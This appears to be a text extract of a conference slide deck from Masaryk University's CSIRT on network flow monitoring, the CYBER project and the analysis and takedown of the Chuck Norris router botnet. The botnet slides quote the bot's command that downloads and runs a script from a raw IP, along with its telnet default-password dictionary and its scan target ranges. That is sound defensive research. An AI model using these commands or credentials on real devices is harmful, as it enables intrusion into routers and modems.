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Part I
Masaryk University, Brno, Czech Republic
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Masaryk University, Brno
Brno, Czech Republic
2nd largest city (next to Prague).
~400,000 inhabitants, ~100,000
students!
Home to a number of institutions directly
related to R&D (AVG, IBM, Honeywell).
Masaryk University
2nd largest university in the country.
~45,000 students, ~5,000 staff.
~15,000 hosts online every day.
2x 10 gigabit uplinks to internet.
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Part II
R&D Timeline
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Before 2008
2004 Czech NREN CESNET, Masaryk University and Brno
University of Technology built the first 10 gigabit network
interface card in academia world.
2005–2007 first two university spin-off companies
estabilished.
2007 CAMNEP project – Cooperative Adaptive Mechanism
for Network Protection – for U. S. Army.
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After 2008
2008 CYBER project for Czech Army started.
2008–2009 CAMNEP project follow-up.
2009 CSIRT-MU – Computer Security Incident Response
Team of Masaryk University established.
2010 a new botnet named Chuck Norris discovered.
2011 cooperation with Czech National Security Authority
that operates Czech governmental CERT.
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Part III
Network Security Monitoring at Masaryk
University
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FlowMon Probes at Masaryk University Campus
FlowMon probes:   
NetFlow collectors:  
25
6
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Flow-based Traffic Monitoring System
Internet
LAN
LAN LAN
LAN
LAN
Firewall
Network without any flow monitoring system.
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Flow-based Traffic Monitoring System
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FlowMon Probe FlowMon Probe
FlowMon probe connected to in-line TAP.
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Flow-based Traffic Monitoring System
Internet
LAN
LAN LAN
LAN
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FlowMon Probe FlowMon Probe
SPAN SPAN
TAP
FlowMon Probe
FlowMon observes data from TAP and SPAN ports.
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NfSen/NFDUMP Collector Toolset Architecture
NetFlow
v5/v9
NFDUMP Backend
Periodic Update Tasks and Plugins
Web Front-End User Plugins Command-Line
Interface
NfSen – NetFlow Sensor – http://nfsen.sf.net/
NFDUMP – NetFlow display – http://nfdump.sf.net/
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Part IV
CYBER project
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Goals of the project
Validation of advanced
probe utilization in active
network protection.
Analysis of up-to-date
network threats and
protection against them.
Automatic reaction to
security threats.
Deployment of project results in real networks by the
CIRC of Czech Ministry of Defence and the CSIRT-MU.
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Selected Results I
Detection of SSH/RDP
dictionary attacks.
lucy/lucy
admin/1234Admin
guest/guest
root/password henry/passwd
root/root
test/test
peter/qwertyadmin/1234
Intelligent profiling of
network devices.
Detection of infiltrated
devices in the network.
Server
Server
Discovery of Chuck Norris
botnet.
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Selected results II
Active network
protection
blocking
filtering
limiting
(phishing)
quarantine
counterattack
HAMOC
NetFlow
data
Command
Command
Command
NetFlow collector 
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Protected
network
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HAMOC
NetFlow
data
NetFlow
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HAMOC Hardware Platform
Features
Traffic distribution among multiple CPU cores.
Network applications with hardware acceleration.
Capable of concurrent monitoring/blocking/filtering/etc.
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Part V
Chuck Norris Botnet
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Chuck Norris Botnet
What is “new“
Attack against network devices.
Users are not aware about the attack.
Infected devices are permanently
connected to the Internet.
Short Summary
Attacks Linux MIPSEL devices
(ADSL modems, WIFI routers).
No anti-* solution.
Access to all user’s traffic.
Based on known techniques
and components.
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Botnet Analysis – I
Botnet monitoring and analysis testbed.
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ASUS�WL-500gP
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Botnet Analysis – I
IRC�serverbad�guy
bots
WAN�port
ASUS�WL-500gP
(agent-provocateur)
FlowMon,
tcpdumpCSIRT-MU
TAP
Botnet monitoring and analysis testbed.
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Botnet Analysis – II
infected
device
IP Range Owner IP Range Owner
217.236.0.0/16 Deutsche Telekom 88.253.0.0/16 TurkTelekom
87.22.0.0/16 Telecom Italia 220.240.0.0/16 Comindico Australia
85.174.0.0/16 Volgograd Electro Svyaz 222.215.0.0/16 China Telecom
201.1.0.0/16 Telecomunicacoes de Sao Paulo 200.121.0.0/16 Telefonica del Peru
Tab. 1: Example of botnet propagation targets.
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 20 / 29
Botnet Analysis – II
infected
device
list of C class
networks to scan
217.236.
88.253....
201.1.
200.121....
85.174.
222.215....
58.6.
220.240....
203.223....
IP Range Owner IP Range Owner
217.236.0.0/16 Deutsche Telekom 88.253.0.0/16 TurkTelekom
87.22.0.0/16 Telecom Italia 220.240.0.0/16 Comindico Australia
85.174.0.0/16 Volgograd Electro Svyaz 222.215.0.0/16 China Telecom
201.1.0.0/16 Telecomunicacoes de Sao Paulo 200.121.0.0/16 Telefonica del Peru
Tab. 1: Example of botnet propagation targets.
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 20 / 29
Botnet Analysis – II
infected
device
list of C class
networks to scan
217.236.
88.253....
201.1.
200.121....
85.174.
222.215....
58.6.
220.240....
203.223....
pnscan
(port 23)
IP Range Owner IP Range Owner
217.236.0.0/16 Deutsche Telekom 88.253.0.0/16 TurkTelekom
87.22.0.0/16 Telecom Italia 220.240.0.0/16 Comindico Australia
85.174.0.0/16 Volgograd Electro Svyaz 222.215.0.0/16 China Telecom
201.1.0.0/16 Telecomunicacoes de Sao Paulo 200.121.0.0/16 Telefonica del Peru
Tab. 1: Example of botnet propagation targets.
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 20 / 29
Botnet Analysis – II
infected
device
list of C class
networks to scan
217.236.
88.253....
201.1.
200.121....
85.174.
222.215....
58.6.
220.240....
203.223....
pnscan
(port 23)
list of possible
victims
IP Range Owner IP Range Owner
217.236.0.0/16 Deutsche Telekom 88.253.0.0/16 TurkTelekom
87.22.0.0/16 Telecom Italia 220.240.0.0/16 Comindico Australia
85.174.0.0/16 Volgograd Electro Svyaz 222.215.0.0/16 China Telecom
201.1.0.0/16 Telecomunicacoes de Sao Paulo 200.121.0.0/16 Telefonica del Peru
Tab. 1: Example of botnet propagation targets.
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 20 / 29
Botnet Analysis – III
infected
device
victim
User Password
root admin, Admin, password, root, 1234, private, XA1bac0MX,adsl1234, %%fuckinside%%, dreambox, blank password
admin admin, password, blank password
1234 1234Admin
Tab. 2: Passwords used for a dictionary attack.
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Botnet Analysis – III
infected
device
victim
TELNET service
dictionary attack
User Password
root admin, Admin, password, root, 1234, private, XA1bac0MX,adsl1234, %%fuckinside%%, dreambox, blank password
admin admin, password, blank password
1234 1234Admin
Tab. 2: Passwords used for a dictionary attack.
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Botnet Analysis – III
infected
device
victim
TELNET service
dictionary attack
web
server
download current bot version
User Password
root admin, Admin, password, root, 1234, private, XA1bac0MX,adsl1234, %%fuckinside%%, dreambox, blank password
admin admin, password, blank password
1234 1234Admin
Tab. 2: Passwords used for a dictionary attack.
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Botnet Analysis – IV
STOP
bot
deny remote access
(ports 22-80)
infected
device
Initial Command (IRC Topic):
:!* sh wget http://87.98.163.86/pwn/scan.sh;chmod u+x scan.sh;./scan.sh
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Botnet Analysis – IV
STOP
bot
deny remote access
(ports 22-80)
infected
device
1. join  ##soldiers## C&C
(IRC)
server
Initial Command (IRC Topic):
:!* sh wget http://87.98.163.86/pwn/scan.sh;chmod u+x scan.sh;./scan.sh
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Botnet Analysis – IV
STOP
bot
deny remote access
(ports 22-80)
infected
device
1. join  ##soldiers## C&C
(IRC)
server2. Topic: !* init-cmd 
(get scan-tools)
Initial Command (IRC Topic):
:!* sh wget http://87.98.163.86/pwn/scan.sh;chmod u+x scan.sh;./scan.sh
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 22 / 29
Botnet Analysis – IV
STOP
bot
deny remote access
(ports 22-80)
infected
device
1. join  ##soldiers## C&C
(IRC)
server2. Topic: !* init-cmd 
(get scan-tools)
Initial Command (IRC Topic):
:!* sh wget http://87.98.163.86/pwn/scan.sh;chmod u+x scan.sh;./scan.sh
Jan Vykopal Army & Academia Cyber Security Research in Czech Republic 22 / 29
Botnet Activities – I
Botnet Threats
Denial-of-Service attacks – DoS, DDoS.
DNS spoofing attack.
Infected device reconfiguration.
Consequences for Users
The link was saturated with malicious traffic activities.
Economic losses and criminal sanctions against unaware users.
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Botnet Activities – II
DNS Spoofing Attack
Web page redirect:
www.facebook.com
www.google.com
Malicious code execution.
primary
DNS server
secondary
DNS server
victim
infected
router
OpenDNS.combotnet C&C Center
www.facebook.com www.linux.org
www.linux.org
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Attacks Against Masaryk University Network
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Telnet Scans Against Masaryk University Network
33 000 unique attackers (infected devices) from 2009/10 –
2010/02.
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Telnet Scans Against Masaryk University Network
Unique Attackers
33 000 unique attackers (infected devices) from 2009/10 –
2010/02.
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botnet discovery
2.12.2009
botnet shutdown
23.2.2010
Telnet Scans Against Masaryk University Network
Unique Attackers
33 000 unique attackers (infected devices) from 2009/10 –
2010/02.
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Botnet Announcement and Mitigation
Media
Czech Ministry of
Defence
Czech Television
Czech Radio
New York Times
Computerworld
Security Community
150 alerts to abuse mails
AVG
Kaspersky Lab
NATO CIRC
TF-CSIRT
Shadowserver.org
But in 2011 we spot a new version in the wild. . .
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Part VI
Conclusion
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Conclusion
Flow-based network intrusion detection and protection is
suitable for large and high-speed networks.
Online network monitoring contributes to the overall
security.
Any device connected to network is dangerous.
They are not anti-* solutions for ubiquitous networking.
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Questions?
Jan Vykopal
vykopal@ics.muni.cz
http://www.muni.cz/ics/cyber
http://www.muni.cz/csirt
Army & Academia Cyber
Security Research
in Czech Republic
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